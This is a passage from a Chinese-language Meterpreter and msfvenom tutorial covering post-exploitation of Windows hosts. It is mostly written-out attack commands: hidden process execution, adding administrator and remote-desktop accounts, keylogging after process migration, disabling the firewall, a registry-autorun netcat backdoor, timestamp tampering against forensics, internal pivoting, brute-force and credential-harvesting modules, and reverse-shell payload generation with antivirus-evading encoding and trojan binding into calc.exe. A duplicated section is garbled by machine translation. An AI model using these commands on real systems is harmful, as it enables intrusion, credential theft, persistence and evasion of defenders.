然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。

 

Meterpreter命令详解_第48张图片

 

 

19.运行程序

我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下:

execute -f [Options]

execute -f cmd.exe -i#执行cmd.exe命令并进行交互

execute -f cmd.exe -i -t#以所有可用令牌来执行cmd命令

execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互

execute -H -i -f cmd.exe

execute  -H -m -d notepad.exe-f  wce.exe -a "-o wce.txt"

运行后它将执行file参数所指定的文件。可选参数如下:

-H:创建一个隐藏进程

-a:传递给命令的参数

-i:跟进程进行交互

-m:从内存中执行

-t:使用当前伪造的线程令牌运行进程

-s:在给定会话中执行进程

-f 执行的程序文件

-d 在目标主机执行时显示的进程名称(用以伪装)

-o wce.txt"是wce.exe的运行参数

Meterpreter命令详解_第49张图片

20.创建账号

getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息

run  getgui-e #开启远程桌面

run  getgui -uexample_username -pexample_password #添加账号

调用getgui后渗透攻击模块

作用:开启目标主机远程桌面,并可添加管理员组账号

命令:

run  getgui  -e

开启目标主机远程桌面

如下图:

Meterpreter命令详解_第50张图片
开启目标主机的远程桌面服务后,可以添加账号以便利用

命令:

run  getgui -u  example_username -p  example_password

如下图:
Meterpreter命令详解_第51张图片
执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机

rdesktop  -u kali  -p meterpreter  192.168.250.176:3389

Meterpreter命令详解_第52张图片

从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。

Meterpreter命令详解_第53张图片

添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。

Meterpreter命令详解_第54张图片

接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。

Meterpreter命令详解_第55张图片

Meterpreter命令详解_第56张图片

当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。

21.启用远程桌面

当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):

Meterpreter命令详解_第57张图片

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:

手把手教你如何利用Meterpreter渗透Windows系统

这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息:

Meterpreter命令详解_第58张图片

下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面:

Meterpreter命令详解_第59张图片

run post/windows/manage/enable_rdp

Meterpreter命令详解_第60张图片

还可以使用 run getgui -e 来开启远程桌面:

Meterpreter命令详解_第61张图片

利用该命令,我们还可以在目标机器上添加用户:

run getgui -u xxxxx -p xxxxx

22.绑定进程

Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。

首先,我们需要使用“ps”命令查看目标设备中运行的进程:

Meterpreter命令详解_第62张图片

接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。

Meterpreter命令详解_第63张图片

绑定完成之后,我们就可以开始捕获键盘数据了:

手把手教你如何利用Meterpreter渗透Windows系统

接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录:

Meterpreter命令详解_第64张图片

等待片刻之后,使用keyscan_dump命令导出记录信息:

Meterpreter命令详解_第65张图片

捕捉到的用户密码为trustno1

23.通过其 shell 来关闭防火墙

netsh adcfirewall set allprofiles state off

Meterpreter命令详解_第66张图片

我们打开防火墙配置查看防火墙已成功被我们关闭!

Meterpreter命令详解_第67张图片

但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。

netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL

伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!

24.利用注册表添加 NC 后门

1.上传 NC 到目标系统:

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

2.枚举注册表内容(开机启动)

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

3.在该注册表增加内容(开机启动)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”

4.查看内容是否增加成功:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

Meterpreter命令详解_第68张图片

25.基于MACE时间的反电子取证

timestomp -v secist.txt  #查看当前目标文件 MACE 时间。

timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查)

20161006172320

timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)

timestomp -v secist.txt

26.内网代理

meterpreter > run autoroute -s 192.168.1.0/24

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306

msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24

msf auxiliary(tcp) > set THERADS 10

msf auxiliary(tcp) > exploit

meterpreter > background

msf exploit(handler) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > route print

msf auxiliary(socks4a) > ifconfig

msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子'

msf auxiliary(socks4a) > exploit

27.SSH代理

msf > load meta_ssh

msf > use multi/ssh/login_password

msf > set RHOST 192.168.56.3

RHOST => 192.168.56.3

msf > set USER test

USER => test

msf > set PASS reverse

PASS => reverse

msf > set PAYLOAD ssh/metassh_session

PAYLOAD => ssh/metassh_session

msf > exploit -z

[*] Connecting to [email protected]:22 with password reverse

[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28   03:51:16 +1300

[*] Session 1 created in the background.

msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了

当然还是推荐直接用

ssh -f -N -D 127.0.0.1:6666 [email protected]

28.内网扫描

meterpreter > run autoroute -s 192.168.3.98

meterpreter > background

[*] Backgrounding session 2...

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306

PORTS => 80,8080,21,22,3389,445,1433,3306

msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24

RHOSTS => 192.168.3.1/24

msf auxiliary(tcp) > set THERADS 10

THERADS => 10

msf auxiliary(tcp) > exploit

Meterpreter命令详解_第69张图片

我还是推荐开代理用Nmap扫描>.<

29.一些常用的破解模块

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

auxiliary/scanner/ftp/anonymous

Meterpreter命令详解_第70张图片

30.一些好用的模块

auxiliary/admin/realvnc_41_bypass  (Bypass VNCV4网上也有利用工具)

auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老)

auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))

auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)

auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:()

auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)

auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)

auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)

auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

auxiliary/scanner/rsync/modules_list  (Rsync)

auxiliary/scanner/misc/redis_server  (Redis)

auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)

auxiliary/scanner/mongodb/mongodb_login (Mongodb)

auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)

auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)

auxiliary/scanner/http/http_put (http Put)

auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)

auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)

auxiliary/scanner/http/svn_scanner (svn Hunter :))

auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)

auxiliary/scanner/http/zabbix_login (Zabbix :))

0x05 常见脚本

在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用

我看网上没有详细介绍常见脚本功能的文章,就总结了一下

我们可以通过run 脚本名来进行使用

run 脚本名 -h可以查看帮助

1.arp_scanner

利用arp进行存活主机扫描

run  arp_scanner-r  192.168.1.0/24

2.autoroute

可以添加,删除,显示路由表

3.checkvm

可以检测目标是否是虚拟机

4.credcollect

收集目标主机上的hash等凭证

5.domain_list_gen

获取域管理账户列表,并判断当前session所在用户是否在列表中

6.dumplinks

Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件

调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

命令:run  post/windows/gather/dumplinks

效果如下图:


Meterpreter命令详解_第71张图片

7.duplicate

再次产生payload,注入到其他进程或打开新进程并注入其中

Meterpreter命令详解_第72张图片

Meterpreter命令详解_第73张图片

8.enum_chrome

获取chrome中的信息

9.enum_firefox

获取firefox中的信息,包括cooikie,历史纪录,书签等

10.enum_logged_on_users

列出当前登录的用户

11.enum_powershell_env

列出powershell和WSH的配置文件

12.enum_putty

列出putty的配置文件

13.enum_shares

列出共享及历史共享

14.enum_vmware

列出vmware的配置文件和产品

15.event_manager

可以查询和清理事件日志

16.file_collector

搜索符合指定模式的文件

17.get_application_list

获取安装的程序列表及版本

Meterpreter命令详解_第74张图片

18.getcountermeasure

列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略

Ps:-k参数可以杀掉防护软件进程

Meterpreter命令详解_第75张图片

19.get_env

获取所有用户的环境变量

20.get_filezilla_creds

获取filezilla的登陆凭证

21.getgui

可以很方便的开启远程桌面服务,添加用户,端口转发功能

Meterpreter命令详解_第76张图片

Meterpreter命令详解_第77张图片

Meterpreter命令详解_第78张图片

Meterpreter命令详解_第79张图片

Meterpreter命令详解_第80张图片

22.get_local_subnets

获得本地的子网

23.get_pidgin_creds

获取pidgin配置文件中的用户名和密码

24.gettelnet

同之前开启终端桌面服务的脚本,这个是用来开启telnet的

25.get_valid_community

获取SNMP community字符串

26.getvncpw

获取vnc密码

27.hashdump

同meterpreter的内置功能

28.hostsedit

操作hosts文件

29.keylogrecorder

Meterpreter内置此功能

30.killav

关闭防护软件

31.metsvc

将payload安装为服务

32. migrate

将meterpreter会话移植到另一个进程

例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法

可以先用ps命令看一下目标主机的explorer.exe进程的pid

Meterpreter命令详解_第81张图片
是1668然后我们用migrate 1668 把meterpreter会话注入进去

33 .persistence

可见建立一个持久性的后门,设置成开机启动

34. service_permissions_escalate

许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload

35.vnc

可以看到远程桌面

36. win32-sshserver

安装openssh服务

37. winenum

会自动运行多种命令,将命令结果保存到本地

Meterpreter命令详解_第82张图片

Meterpreter命令详解_第83张图片

0x06 msfvenom命令参数

metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听

1.msfvenom命令行选项

在kali的命令行中输入msfvenom -h就会显示其用法:

Options:

-p, --payload       指定需要使用的payload(攻击荷载)

-l, --list[module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-n, --nopsled        为payload预先指定一个NOP滑动长度

-f, --format        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder[encoder]       指定需要使用的encoder(编码器)

-a, --arch  指定payload的目标架构

    --platform         指定payload的目标平台

-s, --space        设定有效攻击荷载的最大长度

-b, --bad-chars          设定规避字符集,比如: '\x00\xff'

-i, --iterations          指定payload的编码次数

-c, --add-code          指定一个附加的win32 shellcode文件

-x, --template          指定一个自定义的可执行文件作为模板

-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options            列举payload的标准选项

-o, --out               保存payload

-v, --var-name             指定一个自定义的变量,以确定输出格式

    --shellest                   最小化生成payload

-h, --help                       查看帮助选项

--help-formats               查看msf支持的输出格式列表

 

2.生成payload 格式说明

(1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀)

#格式

msfvenom -p -f -o

#实例

msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c

(2)经过编码器处理后生成payload

#格式

msfvenom -p -e -i -n -f -o

#实例

msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

(3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数)

Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe

-p [指定攻击载荷名称]

生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如:

cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

#暂未测试

cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe

-f [指定payload的输出格式]

按需要的格式进行输出:
十六进制hex编码形式 \x0a,如果用python写exploit,用-f python得到python代码。如果用python写exploit,用-f c得到c代码。生成一个exe格式的payload,如:
msfvenom -p windows/meterpreter/bind_tcp -f exe

msf支持的输出格式

msfvenom --help-formats

Executable formats

    asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war

Transform formats

    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

3.options usage

查看支持的payload列表:

msfvenom -l payloads

 

Framework Payloads (486 total)

==============================

 

    NameDescription

    ---------------

aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell

aix/ppc/shell_find_port                             Spawn a shell on an established connection

aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)

aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell

android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP

android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS

android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager

android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell

android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell

android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell

    ...

 

查看支持的输出文件类型:

msfvenom --help-formats

查看支持的编码方式:(为了达到免杀的效果)

msfvenom -l encoders

查看支持的空字段模块:(为了达到免杀的效果)

msfvenom -l nops

4.常用的payload

1.命令格式:

msfvenom -p -f -o

Binaries:

2.Linux:

反向连接

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

正向连接

msfvenom -p linux/x86/meterpreter/bind_tcp LHOST= LPORT= -f elf > shell.elf

 

3.Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

 

4.Mac:

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads:

5.PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php

 

6.ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

 

7.JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

 

8.WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.wa

Scripting Payloads:

9.Python:

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

 

10.Bash:

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

 

11.Perl:

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Shellcode:

12.Linux Based Shellcode:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f

 

13.Windows Based Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

 

14.Mac Based Shellcode:

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

15.Handlers:

use exploit/multi/handler

   set PAYLOAD

   set LHOST

   set LPORT

   set ExitOnSession false

   exploit -j -z

5.生成有效载荷格式说明

生成不经过编码的普通净荷(不编码 - >生成内容固定 - >直接被杀)

#格式

msfvenom -p -f -o

#实例

msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c

经过编码器处理后生成的有效载荷

#格式

msfvenom -p -e -i -n -f -o

#实例

msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

捆绑到正常文件后生成有效载荷(暂未测试是否可加-e参数)

Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe

-p [指定攻击载荷名称]

生成有效负荷至少需指定-p和-f

除了自带的那些有效载荷外
-p -可指定自定义的有效载荷,如:

cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

#暂未测试

cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe

-f [指定有效载荷的输出格式]

按需要的格式进行输出:
十六进制十六进制形式编码\x0a
如果用蟒写利用,用-f python得到蟒代码。
如果用蟒写利用,用-f c得到Ç代码。

生成一个EXE格式的有效载荷,如:
msfvenom -p windows/meterpreter/bind_tcp -f exe

无国界医生支持的输出格式

msfvenom --help-formats

Executable formats

    asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war

Transform formats

    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

- 一个x64

-a x86 
-a x86_64

msfvenom -p windows/meterpreter/bind_tcp --help-platform

 

Platforms

    aix, android, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, ruby, solaris, unix, windows

-a不指定也可以,可在-p后的有效载荷名称中明确指定的建筑,如:

msfvenom -p linux/x86/exec CMD=/bin/sh

此有效载荷指定了参数CMD 
查看某个有效载荷具体需要哪些参数(必需是是则必需该参数)
msfvenom -p linux/x86/exec --payload-options

对有效载荷进行编码

1.规避特殊字符-b'/ x00一个特殊字符列表'

无国界医生会自动找一个合适的编码器规避有效载荷中的这些“坏字符”:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

Found 10 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

不同的函数,有不同的规避字符:
如获取需要就避免/x0a
如scanf函数更严格,空白不允许符
如产生一段高管的shellcode的

2.用-e选项指定编码器的编码器,如:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

默认的输出格式是原始的,直接输出有效载荷的字符(含乱码),常加参数-o写到文件中。

3.使用-i进行选项对话多次编码
迭代编码也许会有规避杀毒软件的作用英文,但这不是真正的免杀。

迭代编码例子:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

无国界医生组织中所有的编码器:

msfvenom -l encoders

 

Framework Encoders

==================

 

    Name                          Rank       Description

    ----                          ----       -----------

    cmd/echo                      good       Echo Command Encoder

cmd/generic_shmanual     Generic Shell Variable Substitution Command Encoder

    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder

    cmd/perl                      normal     Perl Command Encoder

    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder

cmd/printf_php_mqmanual     printf(1) via PHP magic_quotes Utility Command Encoder

generic/eicarmanual     The EICAR Encoder

generic/none                  normal     The "none" Encoder

mipsbe/byte_xorinormal     Byte XORi Encoder

mipsbe/longxornormal     XOR Encoder

mipsle/byte_xorinormal     Byte XORi Encoder

mipsle/longxor                normal     XOR Encoder

    php/base64                    great      PHP Base64 Encoder

ppc/longxornormal     PPC LongXOR Encoder

ppc/longxor_tagnormal     PPC LongXOR Encoder

sparc/longxor_tag             normalSPARC DWORD XOR Encoder

    x64/xor                       normal     XOR Encoder

x64/zutto_dekirumanual     Zutto Dekiru

x86/add_submanual     Add/Sub Encoder

x86/alpha_mixedlow        Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upperlow        Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_underscore_tolowermanual     Avoid underscore/tolower

x86/avoid_utf8_tolowermanual     Avoid UTF8/tolower

    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder

x86/bmp_polyglotmanual     BMP Polyglot

x86/call4_dword_xornormal     Call+4 Dword XOR Encoder

x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder

x86/context_statmanual     stat(2)-based Context Keyed Payload Encoder

x86/context_timemanual     time(2)-based Context Keyed Payload Encoder

x86/countdown                 normal     Single-byte XOR Countdown Encoder

x86/fnstenv_movnormal     Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additivenormal     Jump/Call XOR Additive Feedback Encoder

x86/nonalpha                  low        Non-Alpha Encoder

x86/nonupperlow        Non-Upper Encoder

x86/opt_submanual     Sub Encoder (optimised)

x86/servicemanual     Register Service

x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

x86/single_static_bitmanual     Single Static Bit

x86/unicode_mixedmanual     Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_uppermanual     Alpha2 Alphanumeric Unicode Uppercase Encoder

-x指定一个模板文件(“捆绑”payload到这个正常的可执行文件)

msfvenom使用的模板文件保存在目录msf/data/templates

-x calc.exe 
捆绑有效负载到正常文件(模板文件=宿主文件=自定义的可执行文件)

使用-x选项指定你自己的模板文件(如EXE等),如:
使用窗户下的CALC.EXE作为模板文件,生成有效载荷:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的有效载荷时,输出格式必须要写-f exe-only而不能写-f exe
(请注意:如果您想创建一个带有自定义Windows的x64自定义模板,然后而不是exe格式,您应该使用exe-only :)

msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x选项经常和-k选项一起用,它允许您从模板中将有效载荷作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP。
(-x标志通常与-k标志配对,这使您可以将模板中的有效负载作为新线程运行。但是,目前这只适用于较旧的Windows机器,例如x86 Windows XP。)

 

6.payload加编码

命令格式:

msfvenom -p -a --platform -e -i -b -n -f -o

常用编码:

x86/shikata_ga_nai

cmd/powershell_base64

例子:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe

如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用-e选项来使用编码模块,例如:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令,来查看可用的编码器

msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
可以使用下面的命令来进行迭代编码:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3


msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

(1)规避特殊字符 -b '/x00一个特殊字符列表'                                        

使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

不同的函数,有不同的规避字符:
如gets就需要避免/x0a
如scanf更严格,不允许空白符
如产生一段exec的shellcode

(2)用-e选项指定编码器encoder

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe

默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到文件中。

(3)使用-i选项进行多次编码
迭代编码也许会有规避杀毒软件的作用,但这不是真正的免杀。

迭代编码 例子:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

(4)msf中所有的编码器

msfvenom -l encoders

Framework Encoders

==================

 

    Name                          Rank       Description

    ----                          ----       -----------

    cmd/echo                      good       Echo Command Encoder

cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder

    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder

    cmd/perl                      normal     Perl Command Encoder

cmd/powershell_base64excellent  Powershell Base64 Command Encoder

cmd/printf_php_mqmanual     printf(1) via PHP magic_quotes Utility Command Encoder

generic/eicarmanual     The EICAR Encoder

generic/nonenormal     The "none" Encoder

mipsbe/byte_xorinormal     Byte XORi Encoder

mipsbe/longxornormal     XOR Encoder

mipsle/byte_xorinormal     Byte XORi Encoder

mipsle/longxornormal     XOR Encoder

    php/base64                    great      PHP Base64 Encoder

ppc/longxornormal     PPC LongXOR Encoder

ppc/longxor_tagnormal     PPC LongXOR Encoder

sparc/longxor_tagnormal     SPARC DWORD XOR Encoder

    x64/xor                       normal     XOR Encoder

x64/zutto_dekirumanual     Zutto Dekiru

x86/add_submanual     Add/Sub Encoder

x86/alpha_mixedlow        Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upperlow        Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_underscore_tolowermanual     Avoid underscore/tolower

x86/avoid_utf8_tolowermanual     Avoid UTF8/tolower

    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder

x86/bmp_polyglotmanual     BMP Polyglot

x86/call4_dword_xornormal     Call+4 Dword XOR Encoder

x86/context_cpuidmanual     CPUID-based Context Keyed Payload Encoder

x86/context_statmanual     stat(2)-based Context Keyed Payload Encoder

x86/context_timemanual     time(2)-based Context Keyed Payload Encoder

x86/countdownnormal     Single-byte XOR Countdown Encoder

x86/fnstenv_movnormal     Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additivenormal     Jump/Call XOR Additive Feedback Encoder

x86/nonalphalow        Non-Alpha Encoder

    x86/nonupper                  low        Non-Upper Encoder

x86/opt_submanual     Sub Encoder (optimised)

x86/servicemanual     Register Service

x86/shikata_ga_naiexcellent  Polymorphic XOR Additive Feedback Encoder

x86/single_static_bitmanual     Single Static Bit

x86/unicode_mixedmanual     Alpha2 Alphanumeric Unicode Mixedcase Encoder

    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

(5)使用自定义可执行文件模板

-x 指定一个模板文件(“捆绑“payload到这个正常的可执行文件)

默认的msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:
捆绑payload到 正常文件(模板文件=宿主文件=自定义的可执行文件),使用-x选项指定你自己的模板文件(如exe等),如:使用windows下的calc.exe作为模板文件,生成payload:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的payload时,输出格式必须要写-f exe-only而不能写-f exe
msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x选项经常和-k选项一起用,它允许您从模板中将payload作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP.

(6)How to chain msfvenom output

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \

